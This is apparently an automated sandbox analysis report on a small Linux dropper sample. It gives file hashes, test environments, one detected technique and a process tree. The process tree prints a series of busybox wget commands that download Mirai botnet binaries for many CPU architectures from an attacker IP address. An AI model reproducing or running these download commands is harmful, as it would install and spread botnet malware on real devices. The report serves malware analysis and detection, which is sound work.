Analysis
- max time kernel
62s - max time network
63s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
10/09/2026, 09:40
Static task
static1
Behavioral task
behavioral1
Sample
jaffacakes118_74b532696332150c6f6a7ebfad02e5af1aaef6fa4d348786d5e7f07fbcb6cb63.bin
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
jaffacakes118_74b532696332150c6f6a7ebfad02e5af1aaef6fa4d348786d5e7f07fbcb6cb63.bin
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
jaffacakes118_74b532696332150c6f6a7ebfad02e5af1aaef6fa4d348786d5e7f07fbcb6cb63.bin
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
jaffacakes118_74b532696332150c6f6a7ebfad02e5af1aaef6fa4d348786d5e7f07fbcb6cb63.bin
Resource
debian9-mipsel-20260513-en
General
- Target jaffacakes118_74b532696332150c6f6a7ebfad02e5af1aaef6fa4d348786d5e7f07fbcb6cb63.bin
- Size 566B
- Sample260910-lnle9a1ele
- SHA256 74b532696332150c6f6a7ebfad02e5af1aaef6fa4d348786d5e7f07fbcb6cb63
- MD5 d89bc9ece5b1fba61e3943c9b9a673e9
- SHA1 95897ec05c69dcd4e2a441701b499233378a3c7f
- SHA512 4771028bfcf8a2cc5017917e7adc90229208a09a61f0ef4af334f5dd49a6d3ba9e808a66d174d05fcb038e6e0b0831c3dea0f1b177bfc6ac20bf77ac1007720e
- TLSH T163F0F0E3B1E126723418897CA45A9D8627CE091F8B492C5CB48D7D232F5CB18E498F32
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 745 busybox
Processes
-
/tmp/jaffacakes118_74b532696332150c6f6a7ebfad02e5af1aaef6fa4d348786d5e7f07fbcb6cb63.bin/tmp/jaffacakes118_74b532696332150c6f6a7ebfad02e5af1aaef6fa4d348786d5e7f07fbcb6cb63.bin1⤵PID:641
-
/bin/busyboxbusybox wget -q -O dvrHelper http://86.54.42.154/bins/mirai.x862⤵PID:643
-
-
/bin/busyboxbusybox wget -q -O dvrHelper http://86.54.42.154/bins/mirai.mips2⤵
- System Network Configuration Discovery
PID:745
-
-
/bin/busyboxbusybox wget -q -O dvrHelper http://86.54.42.154/bins/mirai.mpsl2⤵PID:746
-
-
/bin/busyboxbusybox wget -q -O dvrHelper http://86.54.42.154/bins/mirai.arm2⤵PID:749
-
-
/bin/busyboxbusybox wget -q -O dvrHelper http://86.54.42.154/bins/mirai.arm5n2⤵PID:750
-
-
/bin/busyboxbusybox wget -q -O dvrHelper http://86.54.42.154/bins/mirai.arm72⤵PID:753
-
-
/bin/busyboxbusybox wget -q -O dvrHelper http://86.54.42.154/bins/mirai.gnueabihf2⤵PID:757
-
-
/bin/busyboxbusybox wget -q -O dvrHelper http://86.54.42.154/bins/mirai.ppc2⤵PID:760
-
-
/bin/busyboxbusybox wget -q -O dvrHelper http://86.54.42.154/bins/mirai.spc2⤵PID:763
-
-
/bin/busyboxbusybox wget -q -O dvrHelper http://86.54.42.154/bins/mirai.m68k2⤵PID:764
-
-
/bin/busyboxbusybox wget -q -O dvrHelper http://86.54.42.154/bins/mirai.sh42⤵PID:767
-